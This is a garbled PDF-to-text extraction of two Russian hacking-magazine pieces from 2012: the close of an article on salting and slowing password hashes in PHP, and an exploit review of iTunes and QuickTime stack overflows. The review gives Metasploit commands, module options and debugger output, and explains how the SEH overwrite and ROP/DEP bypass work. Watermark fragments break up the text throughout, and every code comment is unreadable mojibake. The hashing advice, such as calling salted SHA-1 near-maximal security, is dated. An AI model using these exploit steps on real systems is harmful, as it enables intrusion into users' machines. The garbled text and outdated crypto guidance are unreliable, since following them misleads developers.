Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
14.81 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

против длинных паролей. Скорость перебора ограничивается лишь скоростью процессора и быстродействием памяти.

КАК СНИЗИТЬ РИСКИ?

Из всего сказанного ты, наверное, должен был понять, насколько неустойчивы современные криптографические алгоритмы хеширования к современным реалиям атак. Есть несколько путей снижения рисков на уровне алгоритмов:

1.Использование более криптостойких алгоритмов.

2.Маринование существующих хешей. Под маринованием имеется в виду способ искусственного усложнения пароля, называемый накладыванием соли. Соль представляет собой набор различного рода символов, обычно это символы обоих регистров, цифры и спецсимволы, которые накладываются на готовую хеш-сумму пароля или склеиваются с ней.

Основная задача соли — намеренное удлинение пароля, которое значительно осложняет восстановление исходных паролей с помощью предварительно построенных радужных таблиц. При этом надо учитывать, что соль не защищает от полного перебора каждого пароля в отдельности! Ниже приведен список наиболеепопулярных типов солей.

md5($pass.$salt)

md5($salt.$pass)

md5(md5($pass))

md5(md5(md5($pass))) vBulletin < v3.8.5

md5(md5($salt).$pass)

md5($salt.md5($pass))

md5($salt.$pass.$salt)

md5(md5($salt).md5($pass)) md5(md5($pass).md5($salt))

md5($salt.md5($salt.$pass))

md5($salt.md5($pass.$salt))

vBulletin > v3.8.5

md5($username.0.$pass)

md5(strtoupper(md5($pass))) sha1($pass.$salt) sha1($salt.$pass) sha1(sha1($pass))

sha1(sha1(sha1($pass)))

sha1(strtolower($username).$pass)

Приведем пример простейшей маринованной защиты с применением статической соли от радужных таблиц md5(sha1(md5($pass))) на PHP:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Сага о криптостойких пароляхw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

$password = "passwd"; // ǢȖșȘșȡȡȯȝ ȣȢȟȰțȢȖȔȦșȟșȠ ȣȤȢȥȦȢȝ ȣȔȤȢȟȰ, ȞȢȦȢȤȯȝ ȥ ȖșȤȢȳȦȡȢȥȦȰȲ 99,9% ȕȧȘșȦ Ȗ ȤȔȘȧȚȡȢȝ

ȦȔȕȟȜȪș ȦȜȣȔ low-alpha

echo sha1($password); // ǯȢ ȣȢȡȳȦȡȯȠ ȣȤȜȫȜȡȔȠ Ƞȯ ȕȢȟȰȬș ȡș ȜȥȣȢȟȰțȧșȠ ȔȟȗȢȤȜȦȠ md5 Șȟȳ ȩșȬȜȤȢȖȔȡȜȳ ;-)

$salt = "S$4(!@#$%^17BB5G)$11_S2"; // ǨȥȣȢȟȰțȧȳ ȥȟȧȫȔȝ-

ȡȯȝ ȡȔȕȢȤ ȥȜȠȖȢȟȢȖ, Ƞȯ ȠȢȚșȠ ȜțȠșȡȜȦȰ țȡȔȫșȡȜș ȩșȬȔ

echo sha1($salt . $password); // Ǡ ȖȢȦ ȩșȬ Șȟȳ ȠȔȤȜȡȢȖȔȡ-

ȡȢȗȢ ȣȔȤȢȟȳ ȥ ȥȢȟȰȲ

// DzȔȞȔȳ ȞȢȠȕȜȡȔȪȜȳ ȣȔȤȢȟȳ Ȝ șȗȢ ȩșȬȔ ȡș ȡȔȝȘșȦȥȳ ȡȜ

Ȗ ȢȘȡȢȝ ȤȔȘȧȚȡȢȝ ȦȔȕȟȜȪș

Статическая соль и подобные конструкции могут служить достаточно хорошо до тех пор, пока структура этих конструкций и соль хранятся в тайне. Если же злоумышленник сможет разреверсить алгоритм и узнать зашитый статический (что важно!)

секретный ключ хеширования, то уже понятно, что ему не составит труда модифицировать под себя свою «радужную таблицу».

Так как полагаться на систему защиты сервера нельзя, нужно искать другой вариант. Более удачным вариантом может стать генерация уникальной соли для каждого юзера на основе его идентификатора, который закрепляется за ним после регистрации на ресурсе:

$hash = sha1($user_id . $password);

Идеальный вариант — генерировать полностью уникальную соль:

// ǣșȡșȤȜȤȧșȠ ȥȟȧȫȔȝȡȧȲ ȥȦȤȢȞȧ ȘȟȜȡȢȝ Ȗ 22 ȥȜȠȖȢȟȔ

function unique_salt() {

return substr(sha1(mt_rand()),0,22);

}

$unique_salt = unique_salt();

$hash = sha1($unique_salt . $password); // ǧȔȡȢȥȜȠ

Ȗ ȣșȤșȠșȡȡȧȲ hash ȧȡȜȞȔȟȰȡȯȝ ȠȔȤȜȡȢȖȔȡȡȯȝ ȩșȬ

Надо отметить очень важный нюанс — уникальную соль также нужно будет заносить в базу попутно с хешем как двойную пару. Но даже получив к ней доступ, злоумышленник вряд ли сможет сгенерировать несколько миллионов радужных таблиц размером в добрые тысячи терабайт :).

Давай немного поговорим о плюсах и минусах методов и алгоритмов хеширования. C одной стороны скорость, с другой — безопасность. Казалось бы, чем быстрее, тем лучше для пользователей: во-первых, меньше нагрузки на сервер, во-вторых, скоростная регистрация пользователей. Хотя чем больше скорость хеширования, тем быстрее его сможет вскрыть и злоумышленник. По сути дела,

Схема упрощенной радужной таблицы с длиной цепочек, равной трем. R1, R2, R3 — функции редукции, H — функция хеширования

ХАКЕР 09 /164/ 2012

059

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Hashcat поддерживает восстановление пароля из «соленых» хешей

Жизненный цикл популярных криптографических алгоритмов

это палка о двух концах, тут очень важно подобрать золотую середину. Как я уже сказал — даже не знающему матчасть злоумышленнику ничего не стоит при помощи уже готовых инструментов и методик быстро перебрать большинство из существующих паролей.

Конечно же, можно заставить пользователей нашего ресурса изобретать пятнадцатизначные пароли с использованием цифр, букв верхнего и нижнего регистра, специальных символов. Но понятное дело, что при таких раскладах существующие пользователи этого ресурса просто-напросто разбегутся, а новые будут обходить его стороной.

Хочешь повысить безопасность — придется потратиться на ресурсы и время, причем соотношение ресурсы/время прямо пропорционально.

function myhash($password, $unique_salt) { $salt = "S$4(!@#$%^17BB5G)$11_S2";

$hash = sha1($unique_salt . $password);

//Ǣ ȪȜȞȟș ȜȥȣȢȟȡȳșȠ ȨȧȡȞȪȜȲ 1000 ȤȔț Ȝ ȦȢȟȰȞȢ ȣȢȦȢȠ ȖȢțȖȤȔȭȔșȠ ȤșțȧȟȰȦȔȦ

for ($i = 0; $i < 1000; $i++) {

$hash = sha1($hash);

}

return $hash;

}

Если злоумышленнику для того, чтобы сломать восьмисимвольный пароль, на мощной видеокарте потребуется около 55 часов, то после применения метода замедленного хеширования перебор всех значений уже составит семь лет. PROFIT! ;-)

Удобнее для замедления хеш-функций использовать различные криптографические алгоритмы, встроенные с PHP 4.0.32 и реализуемые через функцию crypt():

<?php

if (CRYPT_STD_DES == 1) {

// ǯȤȢȦȢȦȜȣ ȨȧȡȞȪȜȜ crypt ȥȟșȘȧȲȭȜȝ: crypt (string

str, [string salt])

echo 'Standard DES: ' . crypt('sanjar_satsura', 'rl')

. "\n";

}

if (CRYPT_EXT_DES == 1) {

echo 'Extended DES: ' . crypt('sanjar_satsura', '_

J9..sanj') . "\n";

}

if (CRYPT_MD5 == 1) {

// ǦșȟȔȦșȟȰȡȢ șȗȢ ȡș ȜȥȣȢȟȰțȢȖȔȦȰ, ȩȢȦȳ șȥȟȜ ȖȔȚȡȔ

//Ȗȥș-ȦȔȞȜ ȥȞȢȤȢȥȦȰ ȤȔȕȢȦȯ, ȦȢ ȢȣȦȜȠȔȟȰȡȯȠ

//ȖȔȤȜȔȡȦȢȠ ȱȦȢȝ ȨȧȡȞȪȜȜ ȳȖȟȳșȦȥȳ ȔȟȗȢȤȜȦȠ MD5

echo 'MD5:

' . crypt('sanjar_satsura',

'$1$sanjar$') . "\n";

}

if (CRYPT_BLOWFISH == 1) {

echo 'Blowfish: ' . crypt('sanjar_satsura',

'$2a$07$usesomesillystringforsalt$') . "\n";

}

if (CRYPT_SHA256 == 1) {

echo 'SHA-256: ' . crypt('sanjar_satsura',

'$5$rounds=5000$usesomesillystringforsalt$') . "\n";

}

if (CRYPT_SHA512 == 1) {

echo 'SHA-512: ' . crypt('sanjar_satsura',

'$6$rounds=5000$usesomesillystringforsalt$') . "\n";

}

?>

Если второй аргумент функции crypt не будет передан, он будет выбран случайным образом, так что соль генерируется полностью случайно. Золотой серединой метода замедления хеш-функции является применение криптоалгоритма Blowfish. Blowfish — это способ шифрования с медленным алгоритмом разделения ключа (сам алгоритм довольно быстр после выполнения разделения ключа [key scheduling], а также когда необходимо зашифровать большое сообщение с одним ключом). По современным меркам ИБ такой код должен обеспечить максимальную безопасность.

function blowfish_hash($password, $unique_salt) {

// DZȢȟȰ Șȟȳ Blowfish ȘȢȟȚȡȔ ȕȯȦȰ ȘȟȜȡȢȝ Ȗ 22 ȥȜȠȖȢȟȔ

return crypt($password, '$2a$10$'.$unique_salt);

}

ЗАКЛЮЧЕНИЕ

Сильная криптография, если все сделать верно, дает многое, но она не панацея. Сосредоточение на криптографических алгоритмах, сопряженное с игнорированием остальных аспектов безопасности, похоже на попытку защитить дом — не построив забор вокруг него, а установив огромный столб в надежде, что противник налетит прямо на него. Сообразительный нападающий просто обойдет алгоритмы. Иногда, изобретая новый способ взлома системы, мы используем те же старые ошибки, которые разработчики повторяют снова и снова. Все новое — хорошо забытое старое. z

060

ХАКЕР 09 /164/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Сага о криптостойких пароляхw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

АВТОР MD5CRYPT ПОДЧЕРКНУЛ НЕБЕЗОПАСНОСТЬ ДАННОГО АЛГОРИТМА

И ПРИЗВАЛ ПЕРЕЙТИ НА БОЛЕЕ СТОЙКИЕ МЕТОДЫ ХЕШИРОВАНИЯ ПАРОЛЕЙ

Под впечатлением от утечки нескольких миллионов хешей паролей пользователей сайтов LinkedIn, eHarmony и Last.fm, ПолХеннинг Камп (Poul-Henning Kamp), объявил,

что созданную им в 1995 году реализацию системы хеширования паролей md5crypt больше нельзя считать безопасной.

По словам Пола-Хеннинга Кампа, md5crypt исчерпал себя как алгоритм хеширования паролей. Современные инструменты подбора паролей, способные проверить миллион комбинаций в секунду, благодаря задействованию средств

GPU-акселерации могут восстановить любой семисимвольный пароль по хешу md5 меньше чем за шесть минут, а для шестисимвольного перебор всех значений

ивовсе будет составлять примерно минуту. Так как во многих системах для хеширования паролей по умолчанию попрежнему используется md5crypt, ПолХеннинг Камп призвал пользователей

иразработчиков ОС перейти на более стойкие алгоритмы.

Пол-Хеннинг не указывает на конкретный алгоритм, но советует использовать

некоторые методы повышения затрат вычислительных ресурсов, например цикличное вложенное хеширование или комбинацию результатов разных алгоритмов хеширования. Для сайтов с более чем 50 тысячами пользовательских аккаунтов ПолХеннинг Камп порекомендовал использовать собственный модифицированный алгоритм, базирующийся на стойких хешах, таких как SHA (чтобы организовать процесс подбора паролей для нестандартного алгоритма, дополнительно потребуется определить и воссоздать его логику).

WWW

ПОЧЕМУ СУЩЕСТВУЕТ УЯЗВИМОСТЬ?

Прежде чем ответить на этот вопрос, нужно понять, почему уязвимости бывают в криптографических алгоритмах хеширования. Ведь основной целью применения криптографии изначально являлось скрыть информацию и, как следствие, сделать практически невозможной расшифровку захешированного сообщения, поскольку циклические алгоритмы хеширования были изначально подвержены коллизиям. Чтобы это понять, не нужно быть крутым математиком.

Еще недавно (примерно шесть лет назад) коллизии для криптографических алгоритмов хеширования могли показаться фантастикой, а сегодня этим уже никого не удивишь. Некогда «устойчивые» алгоритмы хеширования MD4/MD5, ставшие стандартами де-факто во многих

проектах и решениях в области продуктов информационной безопасности, теперь полностью безнадежны и должны быть отправлены только в одном направлении… да, ты угадал:

в самое /dev/null :).

Примерно то же самое происходило в 1995 году

с алгоритмом DES. Последствия, которые он оставил, до сих пор дают о себе знать. Но почему, осознавая, что алгоритм более не безопасен, мы продолжаем его использовать? Возможно, потому, что просто привыкли

к этим алгоритмам хеширования, ведь они прочно вошли

внашу жизнь. Хотя есть еще один важный момент: леньматушка, и от нее никуда не денешься, ага :). Более подробно о коллизиях криптографических функций и типах атак ты можешь прочитать в моей статье «Опасный двойник», опубликованной в номере 159 нашего журнала.

Если хорошо разбираться в математике и прикладной криптографии, есть возможность найти ошибку в алгоритме хеширования, так как чем сложнее алгоритм, тем больше вероятности ее нахождения. Надо понять такую вещь:

вкриптографии, как и в программировании, чем больше проект, тем больше ошибок. Людям свойственно ошибаться, поэтому при поиске ошибок всегда есть надежда на незаменимый в этой области человеческий фактор :). При портировании криптографических алгоритмов и написании

обертки также не исключено появление ошибок. В качестве примера можно привести набор замечательных ошибок, недавно обнаруженных в реализации класса RSACryptoServiceProvider библиотеки .NET Framework. Как оказалось, заявленные в классах RSACryptoServiceProvider и DSACryptoServiceProvider методы SignHash имеют глупейшую ошибку, которая заключается в псевдорандомизации трех из четырех блоков. Итог: +75% к атакам на RSA шифрование в VM .NET.

Многие журнальные и научные статьи любят описывать криптографические продукты в терминах алгоритмов

идлины ключей. Алгоритмы благозвучны: их описание может быть немногословным и их легко сравнивать друг с другом. «128-битные ключи означают высокую степень

защиты». «Тройной DES означает высокую степень защиты». «40-битные ключи означают низкий уровень защиты». «2048-битный RSA лучше 1024-битного RSA».

Но в реале все не так просто. Более длинные ключи не всегда означают лучшую защиту. Давай сравним криптографический алгоритм с замком на твоей входной двери. Большинство дверных замков имеют четыре металлических штифта, каждый из которых может находиться в одном из десяти положений. Ключ устанавливает штифты в особой комбинации. Если ключ установит их все правильно, замок откроется. Таким образом, может быть только 10 тысяч различных ключей,

ивзломщик, готовый испробовать их все, обязательно попадет к тебе в дом. Но улучшенный замок с десятью штифтами, дающий 10 миллиардов возможных ключей, часть из которых, несомненно, будет забракована или будет содержать дефект, естественно, не сделает твое жилище безопаснее. Правильные хеш-крекеры не испытывают каждый возможный ключ (атака «в лоб»), большинство даже не настолько хитры, чтобы взломать

замок (криптографическая атака на алгоритм), и используют готовые инструменты и рекомендации. Лучшие замки не спасут от таких атак, пока будут существовать ошибки в алгоритмах проектирования.

• Про догмы в криптографии: bit.ly/OG1QAN;

база хешей LinkedIn: bit.ly/KhFthl;

немного о хешах и безопасном хранении паролей: bit.ly/OyWncY;

time-memory trade off и нерадужные таблицы: bit.ly/OyWzsJ;

матчасть по радужным таблицам: bit.ly/nZbiMz;

oclHashcat —

наилучший GPUбрутфорсер: hashcat. net/oclhashcat;

готовые радужные таблицы: bit.ly/MvPXuE;

Online Hash Generator (345 алгоритмов): bit.ly/cHved.

DVD

Всевозможные

реализации

маринованного хеширования ты можешь найти в библиотеке, представленной

на нашем диске (src/ php_salthash_function.inc.php).

ХАКЕР 09 /164/ 2012

061

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

ВЗЛОМo m

/ОБЗОРЭКСПЛОЙТОВ

 

wClick

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Павел Александрович (ivinside.blogspot.com)to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

Дмитрий Михайлович (115612, дер. Красная звездочка, д. 1)

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Иснова мы фаззер запустим,

Иснова он выдаст нам сбой. Сюжет ликованья опустим, Эксплоитомейкеры, в бой!

0бзор эксплойтов

АНАЛИЗ СВЕЖЕНЬКИХ УЯЗВИМОСТЕЙ

WARNING

Вся информация предоставлена исключительно в ознакомительных

целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный

материалами данной статьи.

1 AppleiTunes10:переполнениебуферанастеке

приобработкерасширенногоm3u-файла

CVSSV2

9.3

(AV:N/AC:M/AU:N/C:C/I:C/A:C))

BRIEF

Дата релиза: 25 июня 2012 года

Автор: Rh0, sinn3r CVE: CVE-2012-0677

В данном случае речь пойдет об ошибке переполнения буфера на стеке в версиях iTunes, начиная с 10.4.0.80 и заканчивая 10.6.1.7. Когда открывается расширенный m3u-файл, содержащий тег «#EXTINF:», iTunes копирует данные, располагающиеся после данного тега, без каких-либо проверок. Копирование происходит из буфера в куче в буфер на стеке, при этом осуществляется запись данных за границы буфера на стеке, что приводит к возможности выполнения произвольного кода в контексте пользователя, запустившего процесс iTunes’а.

EXPLOIT

Начнем наши изыскания с запуска модуля для Metasploit, соответствующего рассматриваемой уязвимости:

msf > use exploit/windows/browser/apple_itunes_extended_m3u

msf exploit(apple_itunes_extended_m3u) > set uripath exm

uripath => exm

msf exploit(apple_itunes_extended_m3u) > set target 0

target => 0

msf exploit(apple_itunes_extended_m3u) >

set payload windows/exec

payload => windows/exec

msf exploit(apple_itunes_extended_m3u) > set cmd calc.exe

cmd => calc.exe

msf exploit(apple_itunes_extended_m3u) > show options

Module options

(exploit/windows/browser/apple_itunes_extended_m3u):

Name

Current Set Required Description

--------------- -------- -----------

SRVHOST

0.0.0.0

yes

The local host to listen on.

 

 

 

This must be an address on

 

 

 

the local machine or 0.0.0.0

SRVPORT

8080

yes

The local port to

 

 

 

listen on.

SSL

false

no

Negotiate SSL for incoming

 

 

 

connections

SSLCert

 

no

Path to a custom SSL

 

 

 

certificate (default is

 

 

 

randomly generated)

SSLVer

SSL3

no

Specify the version of

 

 

 

SSLthat should be used

 

 

 

(accepted: SSL2, SSL3, TLS1)

URIPATH

exm

no

The URI to use for this

 

 

 

exploit (default is random)

 

 

Payload options (windows/exec):

 

Name

Current Set

Required

Description

--------------- -------- -----------

CMD

calc.exe

yes

The command string

 

 

 

to execute

EXITFUNC

process

yes

Exit technique: seh,

 

 

 

thread, process, none

Exploit target:

Id Name

0iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.69 on XP SP3

062

ХАКЕР 09 /164/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

msf exploit(apple_itunes_extended_m3u) > exploit

[*]Exploit running as background job.

[*]Using URL: http://0.0.0.0:8080/exm

[*]Local IP: http://192.168.0.64:8080/exm

[*]Server started.

msf exploit(apple_itunes_extended_m3u) >

Итак, сервер запущен. Идем на машину, на которой у нас установлен iTunes. Запускаем там Internet Explorer, iTunes; аттачимся к iTunes от-

ладчиком, вбиваем в адресной строке IE фразу http://192.168.0.64:8080/ exm и пару секунд ждем результата.

РезультатявляетсякнамвобликеACCESSVIOLATIONприпопыткезаписипоадресу0x130000послеисполненияследующейинструкции:

10CE9A7A EP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

Перейдем на начало функции, к которой относится данная инструкция, и попытаемся понять, что за зверь предстал нашему взору. IDA,

к сожалению, опознать его не смогла, ну и ладно — побудем сегодня сигнатурными нищебродами. Путем бесхитростных умозаключений приходим к выводу, что перед нами красуется strncpy(char *destination, const char *source, size_t num). Вызывается она отсюда:

10356949 PUSH ESI

1035694A ADD EAX,8

1035694D PUSH EBP

1035694E PUSH EAX

1035694F CALL strncpy ; <---

GSOM!

10356954 MOV EAX,DWORD PTR SS:[ESP+4C]

10356958 MOV ECX,DWORD PTR SS:[ESP+24]

1035695C ADD ESP,0C

На стек при этом кладутся следующие аргументы:

0012EE6C 0012F620 ; ȔȘȤșȥ ȡȔ ȥȦșȞș, ȞȧȘȔ Ƞȯ ȕȧȘșȠ ȣȜȥȔȦȰ

0012EE70 05A1C429 ; ȔȘȤșȥ Ȗ Ȟȧȫș, ȢȦȞȧȘȔ Ƞȯ ȕȧȘșȠ ȫȜȦȔȦȰ

0012EE74 00000FF7 ; ȤȔțȠșȤ ȞȢȣȜȤȧșȠȯȩ ȘȔȡȡȯȩ

Ответственным за бесформенное безобразие, связанное с переполнением буфера, будет третий аргумент, представляющий собой размер копируемых данных и в нашем случае равный 0xff7.

Вдельта-окрестности этого вызова, к сожалению, не было кода для проверки упомянутого третьего аргумента, и вкупе с тем фактом, что функция strncpy является небезопасной, исполнение функции с подобными аргументами приводит к столь печальным последствиям…

Очевидно, что стек после буфера, куда происходила запись, превратился в месиво. Но что не может не радовать — месиво, нам подвластное.

Впроцессе перезаписи мы вышли за границы буфера на стеке и перезаписали своими данными адрес возврата, также располагающийся на стеке. В принципе, на этом можно было бы остановиться и получить классический тип эксплойта. Но в данном случае авторы пошли дальше и перезаписали также SEH-цепочку, превратив тем самым обычный классический эксплойт в SEH-эксплойт. Ну а для того, чтобы передать управление на перезаписанный адрес SEH-обработчика, они продолжили гадить в стек, пока не уперлись в упоминаемый выше ACCESS VIOLATION при попытке записи по адресу 0x130000. Управление в связи с этим передалось на контролируемый SEH-обработчик, далее на ROP-цепочку, задачей которой является вызов функции VirtualProtect для установки прав доступа на исполнение страницам памяти, содержащим шелл-код (дабы обойти DEP). И последний шаг — собственно передача управления на шелл-код. Занавес.

TARGETS

iTunes 10.4.0.80—10.6.1.7.

SOLUTION

Существует обновление, устраняющее данную уязвимость.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Обзор эксплойтовиw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

ВApple QuickTime переполнение буфера

 

 

2

 

 

на стеке при обработке TeXML-файла

 

 

 

 

 

 

 

 

CVSSV2

9.3

(AV:N/AC:M/AU:N/C:C/I:C/A:C)

BRIEF

Дата релиза: 28 июня 2012 года

Автор: Alexander Gavrun, sinn3r, juan vazquez CVE: CVE-2012-0663

При обработке специальным образом сформированного TeXML-файла происходит переполнение буфера на стеке, что приводит к возможности выполнения произвольного кода в контексте пользователя, запустившего процесс QuickTime.

EXPLOIT

В данном модуле эксплуатируется ошибка в компоненте QuickTime3GPP.qtx в процессе обработки атрибута 'color'. Ошибка проявляется из-за некорректной проверки размера данных перед их копированием в буфер фиксированного размера, располагающийся на стеке. Ниже представлен цикл, в котором и происходит затирание всего живого на стеке:

.text:67E6D0E0

loc_67E6D0E0: ; CODE XREF: vulnfoo+1F|j

.text:67E6D0E0

add ecx, 1

.text:67E6D0E3

mov [esi], al ; <- ȣȔȘȔșȠ ȥ ACCESS VIOLATION

 

; Ȗ ȣȤȢȪșȥȥș țȔȣȜȥȜ ȣȢ

 

; ȔȘȤșȥȧ 0x140000

.text:67E6D0E5

mov al, [ecx]

.text:67E6D0E7

add esi, 1

.text:67E6D0EA

add dl, 1

.text:67E6D0ED

cmp al, bl

.text:67E6D0EF

jnz short loc_67E6D0E0

Как и в предыдущем случае, мы имеем дело с SEH-эксплойтом, поэтому адрес SEH-обработчика перезаписан нашим значением:

SEH chain of main thread

Address

SE handler

0013CE78 QuickT_2.66801042

601E06EB *** CORRUPT ENTRY ***

То есть после того, как в результате исполнения инструкции

«mov [esi], al» будет сгенерировано исключение ACCESS_VIOLATION,

управление перейдет на следующий код:

66801042 5F POP EDI

66801043 5E POP ESI

66801044 C3 RETN

Классика жанра. Далее управление передается на шелл-код и запускается калькулятор. В данном Metasploit-модуле отсутствует обход DEP’а, но никто тебе не запрещает его здесь добавить.

Генерация эксплойта для QuickTime 7.6.9 с полезной нагрузкой в виде запуска калькулятора:

msf > use exploit/windows/fileformat/apple_quicktime_texml

msf exploit(apple_quicktime_texml) > info

...

Available targets:

Id Name

------

0 QuickTime 7.7.1 on Windows XP SP3

1 QuickTime 7.7.0 on Windows XP SP3

...

ХАКЕР 09 /164/ 2012

063

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

ВЗЛОМo m

/ОБЗОРЭКСПЛОЙТОВ

 

wClick

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

msf exploit(apple_quicktime_texml) > set target 2 target => 2

